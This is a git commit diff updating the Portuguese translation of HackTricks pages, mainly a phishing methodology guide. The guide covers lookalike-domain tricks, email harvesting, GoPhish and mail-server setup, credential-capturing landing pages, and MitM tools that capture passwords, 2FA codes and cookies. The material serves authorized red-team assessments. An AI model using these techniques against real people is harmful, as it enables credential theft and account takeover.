Translated ['generic-methodologies-and-resources/external-recon-methodol

This commit is contained in:
Translator 2023-09-04 14:17:51 +00:00
parent cb43636152
commit 3bd76bdaf0
5 changed files with 591 additions and 396 deletions

View file

@ -371,7 +371,7 @@
* [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
* [Code Review Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
* [Flask](network-services-pentesting/pentesting-web/flask.md)

View file

@ -8,7 +8,7 @@
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -27,6 +27,7 @@ Agora que construímos a lista de ativos do nosso escopo, é hora de procurar po
* [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog)
* [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks)
* [https://github.com/Yelp/detect-secrets](https://github.com/Yelp/detect-secrets)
* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber)
* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks)

View file

@ -1,49 +1,49 @@
# Phishing Methodology
# Metodologia de Phishing
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Metodologia
1. Reconheça a vítima
1. Selecione o **domínio da vítima**.
2. Realize alguma enumeração web básica **procurando portais de login** usados pela vítima e **decida** qual você irá **fingir ser**.
3. Use algum **OSINT** para **encontrar e-mails**.
1. Selecione o **domínio da vítima**.
2. Realize alguma enumeração web básica **procurando por portais de login** usados pela vítima e **decida** qual você irá **fingir ser**.
3. Use algumas **técnicas de OSINT** para **encontrar emails**.
2. Prepare o ambiente
1. **Compre o domínio** que você vai usar para a avaliação de phishing
2. **Configure os registros relacionados ao serviço de e-mail** (SPF, DMARC, DKIM, rDNS)
3. Configure o VPS com **gophish**
1. **Compre o domínio** que você i usar para a avaliação de phishing
2. **Configure o serviço de email** relacionado aos registros (SPF, DMARC, DKIM, rDNS)
3. Configure o VPS com **gophish**
3. Prepare a campanha
1. Prepare o **modelo de e-mail**
2. Prepare a **página da web** para roubar as credenciais
1. Prepare o **modelo de email**
2. Prepare a **página web** para roubar as credenciais
4. Inicie a campanha!
## Gerar nomes de domínio semelhantes ou comprar um domínio confiável
## Gere nomes de domínio similares ou compre um domínio confiável
### Técnicas de variação de nome de domínio
### Técnicas de Variação de Nomes de Domínio
* **Palavra-chave**: O nome de domínio **contém** uma **palavra-chave** importante do domínio original (por exemplo, zelster.com-management.com).
* **Subdomínio hifenizado**: Troque o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
* **Subdomínio com hífen**: Troque o **ponto por um hífen** em um subdomínio (por exemplo, www-zelster.com).
* **Novo TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org)
* **Homógrafo**: Ele **substitui** uma letra no nome de domínio por **letras que se parecem** (por exemplo, zelfser.com).
* **Transposição:** Ele **troca duas letras** dentro do nome de domínio (por exemplo, zelster.com).
* **Homoglyph**: Ele **substitui** uma letra no nome de domínio por **letras que se parecem** (por exemplo, zelfser.com).
* **Transposição**: Ele **troca duas letras** dentro do nome de domínio (por exemplo, zelster.com).
* **Singularização/Pluralização**: Adiciona ou remove "s" no final do nome de domínio (por exemplo, zeltsers.com).
* **Omissão**: Ele **remove uma** das letras do nome de domínio (por exemplo, zelser.com).
* **Repetição**: Ele **repete uma** das letras no nome de domínio (por exemplo, zeltsser.com).
* **Subdominado**: Introduza um **ponto** dentro do nome de domínio (por exemplo, ze.lster.com).
* **Subdomínio**: Introduza um **ponto** dentro do nome de domínio (por exemplo, ze.lster.com).
* **Inserção**: Ele **insere uma letra** no nome de domínio (por exemplo, zerltser.com).
* **Ponto ausente**: Adicione o TLD ao nome de domínio. (por exemplo, zelstercom.com)
* **Ponto ausente**: Acrescente o TLD ao nome de domínio. (por exemplo, zelstercom.com)
**Ferramentas automáticas**
**Ferramentas Automáticas**
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
@ -57,24 +57,23 @@
### Bitflipping
No mundo da computação, tudo é armazenado em bits (zeros e uns) na memória nos bastidores.\
Isso se aplica a domínios também. Por exemplo, _windows.com_ se torna _01110111..._ na memória volátil do seu dispositivo de computação.\
No entanto, e se um desses bits fosse automaticamente invertido devido a uma erupção solar, raios cósmicos ou um erro de hardware? Ou seja, um dos 0's se torna 1 e vice-versa.\
Aplicando esse conceito à solicitação DNS, é possível que o **domínio solicitado** que chega ao servidor DNS **não seja o mesmo que o domínio inicialmente solicitado**.
Isso também se aplica aos domínios. Por exemplo, _windows.com_ se torna _01110111..._ na memória volátil do seu dispositivo de computação.\
No entanto, e se um desses bits for automaticamente invertido devido a uma explosão solar, raios cósmicos ou um erro de hardware? Ou seja, um dos 0's se torna 1 e vice-versa.\
Aplicando esse conceito a uma solicitação DNS, é possível que o **domínio solicitado** que chega ao servidor DNS **não seja o mesmo que o domínio inicialmente solicitado**.
Por exemplo, uma modificação de 1 bit no domínio windows.com pode transformá-lo em _windnws.com._\
**Os atacantes podem registrar o maior número possível de domínios de bit-flipping relacionados à vítima para redirecionar usuários legítimos para sua infraestrutura**.
**Os atacantes podem registrar o maior número possível de domínios com inversão de bits relacionados à vítima para redirecionar usuários legítimos para sua infraestrutura**.
Para mais informações, leia [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Compre um domínio confiável
### Comprar um domínio confiável
Você pode pesquisar em [https://www.expireddomains.net/](https://www.expireddomains.net) por um domínio expirado que você possa usar.\
Para ter certeza de que o domínio expirado que você vai comprar **já tem um bom SEO**, você pode verificar como ele é categorizado em:
Para garantir que o domínio expirado que você vai comprar **já tenha um bom SEO**, você pode verificar como ele está categorizado em:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Descobrindo e-mails
## Descobrindo Emails
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% gratuito)
* [https://phonebook.cz/](https://phonebook.cz) (100% gratuito)
@ -82,8 +81,8 @@ Para ter certeza de que o domínio expirado que você vai comprar **já tem um b
* [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com)
Para **descobrir mais** endereços de e-mail válidos ou **verificar os que** você já descobriu, você pode verificar se pode fazer brute-force nos servidores smtp da vítima. [Aprenda como verificar/descobrir endereço de e-mail aqui](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Além disso, não se esqueça de que, se os usuários usarem **qualquer portal da web para acessar seus e-mails**, você pode verificar se ele é vulnerável a **força bruta de nome de usuário**, e explorar a vulnerabilidade, se possível.
Para **descobrir mais** endereços de email válidos ou **verificar os que** você já descobriu, você pode verificar se consegue fazer brute-force nos servidores smtp da vítima. [Aprenda como verificar/descobrir endereços de email aqui](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Além disso, não se esqueça de que se os usuários usarem **qualquer portal web para acessar seus emails**, você pode verificar se ele é vulnerável a **brute force de nome de usuário** e explorar a vulnerabilidade, se possível.
## Configurando o GoPhish
@ -91,19 +90,16 @@ Além disso, não se esqueça de que, se os usuários usarem **qualquer portal d
Você pode baixá-lo em [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Baixe e descompacte-o dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
Você receberá uma senha para o
Faça o download e descompacte-o dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\
Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Talvez seja necessário fazer um túnel dessa porta para local:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
### Configuração
**Configuração do certificado TLS**
Antes deste passo, você deve ter **comprado o domínio** que irá utilizar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando o **gophish**.
Antes desta etapa, você deve **ter comprado o domínio** que irá utilizar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando o **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -119,12 +115,11 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Configuração de e-mail**
Comece instalando: `apt-get install postfix`
Em seguida, adicione o domínio aos seguintes arquivos:
Em seguida, adicione o domínio nos seguintes arquivos:
* **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport**
@ -132,54 +127,49 @@ Em seguida, adicione o domínio aos seguintes arquivos:
**Altere também os valores das seguintes variáveis dentro de /etc/postfix/main.cf**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
`myhostname = <domínio>`\
`mydestination = $myhostname, <domínio>, localhost.com, localhost`
Por fim, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o nome do seu domínio e **reinicie seu VPS.**
Agora, crie um **registro A DNS** de `mail.<domain>` apontando para o **endereço IP** do VPS e um **registro MX DNS** apontando para `mail.<domain>`
Agora, crie um **registro A DNS** de `mail.<domínio>` apontando para o **endereço IP** do VPS e um **registro MX DNS** apontando para `mail.<domínio>`
Agora vamos testar o envio de um e-mail:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Configuração do Gophish**
Pare a execução do gophish e vamos configurá-lo.\
Modifique `/opt/gophish/config.json` para o seguinte (observe o uso de https):
```bash
{
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
```
**Configurar o serviço gophish**
Para criar o serviço gophish para que ele possa ser iniciado automaticamente e gerenciado como um serviço, você pode criar o arquivo `/etc/init.d/gophish` com o seguinte conteúdo:
Para criar o serviço gophish de forma que ele possa ser iniciado automaticamente e gerenciado como um serviço, você pode criar o arquivo `/etc/init.d/gophish` com o seguinte conteúdo:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -200,35 +190,33 @@ logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error
start() {
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
}
stop() {
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
}
status() {
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
}
case $1 in
start|stop|status) "$1" ;;
start|stop|status) "$1" ;;
esac
```
Conclua a configuração do serviço e verifique-o fazendo:
Finalize a configuração do serviço e verifique-o fazendo o seguinte:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -239,17 +227,16 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Configurando servidor de e-mail e domínio
### Aguarde
Quanto mais antigo for um domínio, menos provável é que ele seja pego como spam. Então, você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing.\
Observe que, mesmo que você tenha que esperar uma semana, pode terminar de configurar tudo agora.
Quanto mais antigo for um domínio, menos provável é que ele seja identificado como spam. Portanto, você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing.\
Observe que, mesmo que você precise esperar uma semana, você pode terminar de configurar tudo agora.
### Configurar registro de DNS reverso (rDNS)
Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome de domínio.
Defina um registro de DNS reverso (PTR) que resolva o endereço IP do VPS para o nome de domínio.
### Registro de Política do Remetente (SPF)
@ -260,21 +247,17 @@ Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para ger
![](<../../.gitbook/assets/image (388).png>)
Este é o conteúdo que deve ser definido dentro de um registro TXT dentro do domínio:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Registro de Autenticação, Relatório e Conformidade de Mensagens Baseadas em Domínio (DMARC)
### Registro de Autenticação, Relatórios e Conformidade Baseados em Domínio (DMARC)
Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC, [**leia esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Você deve criar um novo registro DNS TXT apontando para o nome do host `_dmarc.<domínio>` com o seguinte conteúdo:
Você precisa criar um novo registro DNS TXT apontando o nome do host `_dmarc.<domínio>` com o seguinte conteúdo:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC, [**leia esta página**](../../network-services-pentesting/pentesting-smtp/#dkim).
@ -283,24 +266,20 @@ Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/h
{% hint style="info" %}
Você precisa concatenar ambos os valores B64 que a chave DKIM gera:
```
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
```
{% endhint %}
### Teste a pontuação de configuração do seu e-mail
### Teste a pontuação de configuração do seu email
Você pode fazer isso usando [https://www.mail-tester.com/](https://www.mail-tester.com)\
Basta acessar a página e enviar um e-mail para o endereço que eles fornecem:
Apenas acesse a página e envie um email para o endereço que eles fornecerem:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Você também pode **verificar a configuração do seu e-mail** enviando um e-mail para `check-auth@verifier.port25.com` e **lendo a resposta** (para isso, você precisará **abrir** a porta **25** e ver a resposta no arquivo _/var/mail/root_ se enviar o e-mail como root).\
Você também pode **verificar a configuração do seu email** enviando um email para `check-auth@verifier.port25.com` e **lendo a resposta** (para isso, você precisará **abrir** a porta **25** e verificar a resposta no arquivo _/var/mail/root_ se você enviar o email como root).\
Verifique se você passa em todos os testes:
```bash
==========================================================
Summary of Results
@ -311,24 +290,21 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Alternativamente, você pode enviar uma **mensagem para um endereço do Gmail que você controla**, **visualizar** os **cabeçalhos do email** recebido na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Removendo da Lista Negra do Spamhouse
A página www.mail-tester.com pode indicar se o seu domínio está sendo bloqueado pelo Spamhouse. Você pode solicitar a remoção do seu domínio/IP em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
A página www.mail-tester.com pode indicar se o seu domínio está sendo bloqueado pelo spamhouse. Você pode solicitar a remoção do seu domínio/IP em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Removendo da Lista Negra da Microsoft
Você pode solicitar a remoção do seu domínio/IP em [https://sender.office.com/](https://sender.office.com).
## Criar e Lançar Campanha GoPhish
## Criar e Lançar uma Campanha de Phishing com GoPhish
### Perfil de Envio
@ -336,24 +312,23 @@ Você pode solicitar a remoção do seu domínio/IP em [https://sender.office.co
* Decida de qual conta você vai enviar os e-mails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._
* Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar a opção Ignorar Erros de Certificado
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png>)
![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (17).png>)
{% hint style="info" %}
É recomendado usar a funcionalidade "**Enviar E-mail de Teste**" para testar se tudo está funcionando.\
Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser colocado na lista negra durante os testes.
É recomendado usar a funcionalidade "**Enviar E-mail de Teste**" para verificar se tudo está funcionando.\
Recomendo **enviar os e-mails de teste para endereços de e-mail temporários** para evitar ser colocado em uma lista negra durante os testes.
{% endhint %}
### Modelo de E-mail
* Defina um **nome para identificar** o modelo
* Em seguida, escreva um **assunto** (nada estranho, apenas algo que você esperaria ler em um e-mail regular)
* Certifique-se de ter marcado "**Adicionar Imagem de Rastreamento**"
* Certifique-se de marcar "**Adicionar Imagem de Rastreamento**"
* Escreva o **modelo de e-mail** (você pode usar variáveis como no exemplo a seguir):
```markup
<html>
<head>
<title></title>
<title></title>
</head>
<body>
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
@ -370,41 +345,40 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body>
</html>
```
Observe que, **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura de um e-mail do cliente. Sugestões:
Observe que, **para aumentar a credibilidade do e-mail**, é recomendável usar alguma assinatura de um e-mail do cliente. Sugestões:
* Envie um e-mail para um **endereço inexistente** e verifique se a resposta tem alguma assinatura.
* Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta.
* Envie um e-mail para um **endereço inexistente** e verifique se a resposta possui alguma assinatura.
* Procure por e-mails **públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta.
* Tente entrar em contato com algum e-mail **válido descoberto** e aguarde a resposta.
![](<../../.gitbook/assets/image (393).png>)
{% hint style="info" %}
O modelo de e-mail também permite **anexar arquivos para enviar**. Se você também deseja roubar desafios NTLM usando alguns arquivos/documentos especialmente criados, [leia esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
O modelo de e-mail também permite **anexar arquivos para enviar**. Se você também deseja roubar desafios NTLM usando arquivos/documentos especialmente criados, [leia esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
{% endhint %}
### Página de destino
### Página de Destino
* Escreva um **nome**
* **Escreva o código HTML** da página da web. Observe que você pode **importar** páginas da web.
* Marque **Capturar dados enviados** e **Capturar senhas**
* Defina uma **redireção**
* Marque **Capturar Dados Enviados** e **Capturar Senhas**
* Defina um **redirecionamento**
![](<../../.gitbook/assets/image (394).png>)
{% hint style="info" %}
Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que goste dos resultados**. Em seguida, escreva esse código HTML na caixa.\
Observe que, se você precisar **usar alguns recursos estáticos** para o HTML (talvez algumas páginas CSS e JS), pode salvá-los em _**/opt/gophish/static/endpoint**_ e acessá-los em _**/static/\<filename>**_
Normalmente, você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando um servidor Apache) **até gostar dos resultados**. Em seguida, escreva esse código HTML na caixa.\
Observe que, se você precisar **usar alguns recursos estáticos** para o HTML (talvez algumas páginas CSS e JS), você pode salvá-los em _**/opt/gophish/static/endpoint**_ e depois acessá-los em _**/static/\<filename>**_
{% endhint %}
{% hint style="info" %}
Para a redireção, você pode **redirecionar os usuários para a página principal legítima** da vítima ou redirecioná-los para _/static/migration.html_, por exemplo, colocar uma **roda giratória** ([**https://loading.io/**](https://loading.io)) por 5 segundos e, em seguida, indicar que o processo foi bem-sucedido.
Para o redirecionamento, você pode **redirecionar os usuários para a página principal legítima** da vítima ou redirecioná-los para _/static/migration.html_, por exemplo, colocar uma **roda giratória** ([**https://loading.io/**](https://loading.io)) por 5 segundos e depois indicar que o processo foi bem-sucedido.
{% endhint %}
### Usuários e grupos
### Usuários e Grupos
* Defina um nome
* **Importe os dados** (observe que, para usar o modelo para o exemplo, você precisa do nome, sobrenome e endereço de e-mail de cada usuário)
* **Importe os dados** (observe que, para usar o modelo de exemplo, você precisa do nome, sobrenome e endereço de e-mail de cada usuário)
![](<../../.gitbook/assets/image (395).png>)
@ -412,27 +386,27 @@ Para a redireção, você pode **redirecionar os usuários para a página princi
Por fim, crie uma campanha selecionando um nome, o modelo de e-mail, a página de destino, a URL, o perfil de envio e o grupo. Observe que a URL será o link enviado para as vítimas.
Observe que o **Perfil de envio permite enviar um e-mail de teste para ver como será o e-mail de phishing final**:
Observe que o **Perfil de Envio permite enviar um e-mail de teste para ver como será o e-mail de phishing final**:
![](<../../.gitbook/assets/image (396).png>)
{% hint style="info" %}
Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser bloqueado durante os testes.
Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10 minutos** para evitar ser colocado em uma lista negra durante os testes.
{% endhint %}
Assim que tudo estiver pronto, basta lançar a campanha!
Quando tudo estiver pronto, basta iniciar a campanha!
## Clonagem de site
## Clonagem de Websites
Se, por algum motivo, você quiser clonar o site, verifique a seguinte página:
Se, por algum motivo, você deseja clonar o site, verifique a seguinte página:
{% content-ref url="clone-a-website.md" %}
[clone-a-website.md](clone-a-website.md)
{% endcontent-ref %}
## Documentos e arquivos com backdoor
## Documentos e Arquivos com Backdoor
Em algumas avaliações de phishing (principalmente para Red Teams), você também desejará **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez apenas algo que acionará uma autenticação).\
Em algumas avaliações de phishing (principalmente para Red Teams), você também desejará **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez algo que acione uma autenticação).\
Confira a seguinte página para alguns exemplos:
{% content-ref url="phishing-documents.md" %}
@ -443,37 +417,36 @@ Confira a seguinte página para alguns exemplos:
### Via Proxy MitM
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações definidas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se a aplicação que você falsificou estiver configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**.
O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se o aplicativo que você falsificou estiver configurado com autenticação de dois fatores (2FA), **essas informações não permitirão que você se passe pelo usuário enganado**.
É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2) ou [**CredSniper**](https://github.com/ustayready/CredSniper) são úteis. Essa ferramenta permitirá que você gere um ataque como MitM. Basicamente, os ataques funcionam da seguinte maneira:
É aí que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá que você gere um ataque semelhante a um MitM. Basicamente, o ataque funciona da seguinte maneira:
1. Você **falsifica o formulário de login** da página real.
2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as envia para a página real, **verificando se as credenciais funcionam**.
3. Se a conta estiver configurada com **2FA**, a página MitM solicitará isso e, uma vez que o **usuário o introduzir**, a ferramenta o enviará para a página da web real.
4. Depois que o usuário estiver autenticado, você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação sua enquanto a ferramenta está realizando um MitM.
3. Se a conta estiver configurada com **2FA**, a página MitM solicitará isso e, assim que o **usuário o inserir**, a ferramenta o enviará para a página da web real.
4. Depois que o usuário estiver autenticado, você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação enquanto a ferramenta estiver realizando um MitM.
### Via VNC
E se, em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página da web real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\
Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
Você pode fazer isso com o [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detectando a detecção
Obviamente, uma das melhores maneiras de saber se você foi descoberto é **procurar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma, seu domínio foi detectado como suspeito.\
